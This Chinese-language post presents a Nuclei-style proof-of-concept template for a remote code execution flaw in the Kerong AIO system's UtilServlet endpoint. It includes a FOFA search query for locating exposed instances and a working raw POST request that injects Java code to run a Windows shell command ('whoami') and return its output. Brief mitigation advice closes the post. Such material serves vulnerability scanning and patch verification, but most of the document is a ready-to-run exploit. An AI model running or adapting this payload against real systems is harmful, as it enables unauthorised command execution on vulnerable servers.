科荣AIO系统UtilServlet接口处存在代码执行漏洞【POC】

id: kerong-AIO-UtilServlet-RCE

info:
  name: 科荣AIO系统UtilServlet接口处存在代码执行漏

  author: kingkong
  severity: high
  metadata:
    fofa-query: body="changeAccount('8000')"

http:
  - raw:
      - |
        POST /UtilServlet HTTP/1.1
        Host: {{Hostname}}
        User-Agent:Mozilla/5.0(Windows NT 6.1; WOW64)AppleWebKit/534.57.2(KHTML, like Gecko)Version/5.1.7Safari/534.57.2
        Accept-Encoding: gzip, deflate, br
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded
        Content-Length:322

        operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
              - "content_length>=3  && content_length<=30 && status_code==200"
        condition: and

FOFA：body="changeAccount('8000')"

界面如下

漏洞检测POC

1、输入验证：对所有用户输入进行严格的验证，确保只接受预期的格式。
2、使用安全的API：使用安全的库或API来执行命令，避免直接调用系统命令。
3、最小权限原则：确保应用程序仅在必要的权限下运行，限制可执行的命令。
4、输出编码：对输出进行编码，以防止注入攻击。